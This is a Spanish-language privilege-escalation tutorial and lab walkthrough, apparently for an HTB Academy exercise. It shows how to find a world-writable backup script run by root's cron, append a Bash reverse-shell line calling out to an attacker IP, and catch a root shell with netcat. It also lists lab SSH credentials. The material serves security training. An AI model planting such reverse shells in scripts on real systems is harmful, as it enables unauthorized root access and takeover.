Page cover

🐧Abuso de Cron

Cron Jobs

Los cron jobs tambiΓ©n se pueden configurar para que se ejecuten una sola vez (por ejemplo, al iniciar el sistema). Por lo general, se utilizan para tareas administrativas, como ejecutar copias de seguridad, limpiar directorios, etc. El comando crontab puede crear un archivo cron, que serΓ‘ ejecutado por el daemon cron segΓΊn el cronograma especificado. Cuando se crea, el archivo cron /var/spool/cron se crea para el usuario especΓ­fico que lo crea. Cada entrada en el archivo crontab requiere seis elementos en el siguiente orden: minutos, horas, dΓ­as, meses, semanas, comandos. Por ejemplo, la entrada 0 */12 * * * /home/admin/backup.sh se ejecutarΓ­a cada 12 horas.

El crontab raΓ­z casi siempre solo lo puede editar el usuario root o un usuario con privilegios completos de sudo; sin embargo, aΓΊn puede ser objeto de abuso. Es posible que encuentre un script que permita la escritura por parte de todo el mundo y que se ejecute como root e, incluso si no puede leer el crontab para conocer la programaciΓ³n exacta, es posible que pueda determinar la frecuencia con la que se ejecuta (es decir, un script de backup que crea un archivo .tar.gz cada 12 horas). En este caso, puede agregar un comando al final del script (como un comando de una sola lΓ­nea de shell inverso) y se ejecutarΓ‘ la prΓ³xima vez que se ejecute el trabajo cron.

Algunas aplicaciones crean archivos cron en el directorio /etc/cron.d y pueden estar mal configuradas para permitir que un usuario no root los edite.

Primero, observemos el sistema para ver si hay archivos o directorios que permitan la escritura. El archivo backup.sh en el directorio /dmz-backups es interesante y parece que podrΓ­a estar ejecutΓ‘ndose en una tarea de cron.

afsh4ck@htb$ find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

/etc/cron.daily/backup
/dmz-backups/backup.sh
/proc
/sys/fs/cgroup/memory/init.scope/cgroup.event_control

<SNIP>
/home/backupsvc/backup.sh

<SNIP>

Una mirada rΓ‘pida al directorio /dmz-backups muestra lo que parecen ser archivos creados cada tres minutos. Esto parece ser un error de configuraciΓ³n importante. QuizΓ‘s el administrador del sistema quiso especificar cada tres horas, 0 */3 * * * pero en su lugar escribiΓ³ */3 * * * *, lo que le indica al trabajo cron que se ejecute cada tres minutos. El segundo problema es que el script backup.sh puede ser escrito por todo el mundo y se ejecuta como root.

afsh4ck@htb$ ls -la /dmz-backups/

total 36
drwxrwxrwx  2 root root 4096 Aug 31 02:39 .
drwxr-xr-x 24 root root 4096 Aug 31 02:24 ..
-rwxrwxrwx  1 root root  230 Aug 31 02:39 backup.sh
-rw-r--r--  1 root root 3336 Aug 31 02:24 www-backup-2020831-02:24:01.tgz
-rw-r--r--  1 root root 3336 Aug 31 02:27 www-backup-2020831-02:27:01.tgz
-rw-r--r--  1 root root 3336 Aug 31 02:30 www-backup-2020831-02:30:01.tgz
-rw-r--r--  1 root root 3336 Aug 31 02:33 www-backup-2020831-02:33:01.tgz
-rw-r--r--  1 root root 3336 Aug 31 02:36 www-backup-2020831-02:36:01.tgz
-rw-r--r--  1 root root 3336 Aug 31 02:39 www-backup-2020831-02:39:01.tgz

Podemos confirmar que se estΓ‘ ejecutando un trabajo cron utilizando pspy , una herramienta de lΓ­nea de comandos que se utiliza para ver los procesos en ejecuciΓ³n sin necesidad de privilegios de root. Podemos utilizarla para ver los comandos ejecutados por otros usuarios, trabajos cron, etc. Funciona escaneando procfs .

Vamos a ejecutar pspy y echarle un vistazo. La flag -pf le indica a la herramienta que imprima comandos y eventos del sistema de archivos y -i 1000 que escanee procfs cada 1000 ms (o cada segundo).

afsh4ck@htb$ ./pspy64 -pf -i 1000

pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ β–“β–ˆβ–ˆ   β–ˆβ–ˆβ–“
    β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ    β–’ β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ  β–ˆβ–ˆβ–’
    β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’β–‘ β–“β–ˆβ–ˆβ–„   β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’ β–’β–ˆβ–ˆ β–ˆβ–ˆβ–‘
    β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’  β–’   β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’ β–‘ β–β–ˆβ–ˆβ–“β–‘
    β–’β–ˆβ–ˆβ–’ β–‘  β–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’β–ˆβ–ˆβ–’ β–‘  β–‘ β–‘ β–ˆβ–ˆβ–’β–“β–‘
    β–’β–“β–’β–‘ β–‘  β–‘β–’ β–’β–“β–’ β–’ β–‘β–’β–“β–’β–‘ β–‘  β–‘  β–ˆβ–ˆβ–’β–’β–’ 
    β–‘β–’ β–‘     β–‘ β–‘β–’  β–‘ β–‘β–‘β–’ β–‘     β–“β–ˆβ–ˆ β–‘β–’β–‘ 
    β–‘β–‘       β–‘  β–‘  β–‘  β–‘β–‘       β–’ β–’ β–‘β–‘  
                   β–‘           β–‘ β–‘     
                               β–‘ β–‘     

Config: Printing events (colored=true): processes=true | file-system-events=true ||| Scannning for processes every 1s and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2020/09/04 20:45:03 CMD: UID=0    PID=999    | /usr/bin/VGAuthService 
2020/09/04 20:45:03 CMD: UID=111  PID=990    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation 
2020/09/04 20:45:03 CMD: UID=0    PID=99     | 
2020/09/04 20:45:03 CMD: UID=0    PID=988    | /usr/lib/snapd/snapd 

<SNIP>

2020/09/04 20:45:03 CMD: UID=0    PID=1017   | /usr/sbin/cron -f 
2020/09/04 20:45:03 CMD: UID=0    PID=1010   | /usr/sbin/atd -f 
2020/09/04 20:45:03 CMD: UID=0    PID=1003   | /usr/lib/accountsservice/accounts-daemon 
2020/09/04 20:45:03 CMD: UID=0    PID=1001   | /lib/systemd/systemd-logind 
2020/09/04 20:45:03 CMD: UID=0    PID=10     | 
2020/09/04 20:45:03 CMD: UID=0    PID=1      | /sbin/init 
2020/09/04 20:46:01 FS:                 OPEN | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 CMD: UID=0    PID=2201   | /bin/bash /dmz-backups/backup.sh 
2020/09/04 20:46:01 CMD: UID=0    PID=2200   | /bin/sh -c /dmz-backups/backup.sh 
2020/09/04 20:46:01 FS:                 OPEN | /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
2020/09/04 20:46:01 CMD: UID=0    PID=2199   | /usr/sbin/CRON -f 
2020/09/04 20:46:01 FS:                 OPEN | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 CMD: UID=0    PID=2203   | 
2020/09/04 20:46:01 FS:        CLOSE_NOWRITE | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 FS:                 OPEN | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 FS:        CLOSE_NOWRITE | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 CMD: UID=0    PID=2204   | tar --absolute-names --create --gzip --file=/dmz-backups/www-backup-202094-20:46:01.tgz /var/www/html 
2020/09/04 20:46:01 FS:                 OPEN | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 CMD: UID=0    PID=2205   | gzip 
2020/09/04 20:46:03 FS:        CLOSE_NOWRITE | /usr/lib/locale/locale-archive
2020/09/04 20:46:03 CMD: UID=0    PID=2206   | /bin/bash /dmz-backups/backup.sh 
2020/09/04 20:46:03 FS:        CLOSE_NOWRITE | /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
2020/09/04 20:46:03 FS:        CLOSE_NOWRITE | /usr/lib/locale/locale-archive

De la salida anterior, podemos ver que un trabajo cron ejecuta el script backup.sh ubicado en el directorio /dmz-backups y crea un archivo tarball con el contenido del directorio /var/www/html.

Podemos ver el script de shell y agregarle un comando para intentar obtener un reverse shell como root. Si editamos un script, asegΓΊrese de SIEMPRE hacer una copia del script y/o crear una copia de seguridad del mismo. TambiΓ©n deberΓ­amos intentar agregar nuestros comandos al final del script para que se ejecute correctamente antes de ejecutar nuestro comando de shell inverso.

afsh4ck@htb$ cat /dmz-backups/backup.sh 

#!/bin/bash
 SRCDIR="/var/www/html"
 DESTDIR="/dmz-backups/"
 FILENAME=www-backup-$(date +%-Y%-m%-d)-$(date +%-T).tgz
 tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR

Podemos ver que el script solo toma un directorio de origen y de destino como variables. Luego especifica un nombre de archivo con la fecha y hora actuales de la copia de seguridad y crea un archivo tar del directorio de origen, el directorio raΓ­z web. Modifiquemos el script para agregar un shell inverso de una sola lΓ­nea de Bash .

#!/bin/bash
SRCDIR="/var/www/html"
DESTDIR="/dmz-backups/"
FILENAME=www-backup-$(date +%-Y%-m%-d)-$(date +%-T).tgz
tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR
 
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

Modificamos el script, creamos un listener con netcat y esperamos. En tres minutos, Β‘ya tenemos un shell raΓ­z!

afsh4ck@htb$ nc -lnvp 443

listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.2.12] 38882
bash: cannot set terminal process group (9143): Inappropriate ioctl for device
bash: no job control in this shell

root@NIX02:~# id
id
uid=0(root) gid=0(root) groups=0(root)

root@NIX02:~# hostname
hostname
NIX02

Si bien no es el ataque mΓ‘s comΓΊn, encontramos trabajos cron mal configurados que pueden ser objeto de abuso de vez en cuando.


Caso prΓ‘ctico

SSH a 10.129.80.5 (ACADEMY-LPE-NIX02)
User "htb-student"
Password "Academy_LLPE!"

ConΓ©ctese al sistema de destino y aumente los privilegios mediante el uso indebido del trabajo cron mal configurado. EnvΓ­e el contenido del archivo flag.txt en el directorio /root/cron_abuse.

1. Ver Cron Jobs activos

htb-student@NIX02:~$ find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
/etc/cron.daily/backup
/dmz-backups/backup.sh
/proc
/sys/kernel/security/apparmor/.remove
/sys/kernel/security/apparmor/.replace
/sys/kernel/security/apparmor/.load
/sys/kernel/security/apparmor/.access
/home/backupsvc/backup.sh

Encontramos algunos cron jobs interesantes cΓ³mo el backup.sh

htb-student@NIX02:~$ cat /dmz-backups/backup.sh 
#!/bin/bash
 SRCDIR="/var/www/html"
 DESTDIR="/dmz-backups/"
 FILENAME=www-backup-$(date +%-Y%-m%-d)-$(date +%-T).tgz
 tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR

El script hace lo siguiente:

  1. Define el directorio de origen (/var/www/html) y el de destino (/dmz-backups/).

  2. Crea un nombre de archivo ΓΊnico basado en la fecha y la hora actuales.

  3. Usa tar para crear un archivo comprimido tar.gz de /var/www/html y lo guarda en /dmz-backups/ con el nombre generado.

Si hacemos un ls -la en el directorio del script observamos que tenemos permisos de lectura y escritura sobre el script (se ejecuta como root) y que crea un archivo de backup cada 2 minutos, por lo que el script se estΓ‘ ejecutando correctamente:

htb-student@NIX02:~$ ls -la /dmz-backups/
total 1203180
drwxrwxrwx  2 root root    36864 Oct 10 15:14 .
drwxr-xr-x 25 root root     4096 Jan 25  2024 ..
-rwxrwxrwx  1 root root      189 Nov  6  2020 backup.sh
-rw-r--r--  1 root root 12966790 Nov  6  2020 www-backup-2020116-06:12:06.tgz
-rw-r--r--  1 root root 12967830 Oct 10 15:00 www-backup-20241010-15:00:01.tgz
-rw-r--r--  1 root root 12967830 Oct 10 15:02 www-backup-20241010-15:02:01.tgz
-rw-r--r--  1 root root 12967830 Oct 10 15:04 www-backup-20241010-15:04:01.tgz
-rw-r--r--  1 root root 12967830 Oct 10 15:06 www-backup-20241010-15:06:01.tgz
-rw-r--r--  1 root root 12967830 Oct 10 15:08 www-backup-20241010-15:08:01.tgz
-rw-r--r--  1 root root 12967830 Oct 10 15:10 www-backup-20241010-15:10:01.tgz
-rw-r--r--  1 root root 12967830 Oct 10 15:12 www-backup-20241010-15:12:01.tgz
-rw-r--r--  1 root root 12967830 Oct 10 15:14 www-backup-20241010-15:14:01.tgz

2. Editar el script

Ya que el script se ejecuta como root, vamos a explotarlo para elevar nuestros privilegios editando el script para introducir una reverse shell justo al final del archivo:

#!/bin/bash
SRCDIR="/var/www/html"
DESTDIR="/dmz-backups/"
FILENAME=www-backup-$(date +%-Y%-m%-d)-$(date +%-T).tgz
tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR
 
bash -i >& /dev/tcp/10.10.15.164/4444 0>&1

Podemos hacerlo con el siguiente comando:

echo 'bash -i >& /dev/tcp/10.10.15.164/4444 0>&1' >> /dmz-backups/backup.sh

Comprobamos el archivo para ver que se ha modificado correctamente incluyendo nuestra reverse shell:

htb-student@NIX02:/dmz-backups$ cat /dmz-backups/backup.sh 
#!/bin/bash
SRCDIR="/var/www/html"
DESTDIR="/dmz-backups/"
FILENAME=www-backup-$(date +%-Y%-m%-d)-$(date +%-T).tgz
tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR
 
bash -i >& /dev/tcp/10.10.15.164/4444 0>&1

3. Iniciamos listener con netcat

En este punto iniciamos un listener con netcat por el puerto 4444 (el que hemos especificado) en la reverse shell y esperamos 2 minutos hasta tener una conexiΓ³n:

Recibimos una shell como root y accedemos a la flag!

Última actualización

ΒΏTe fue ΓΊtil?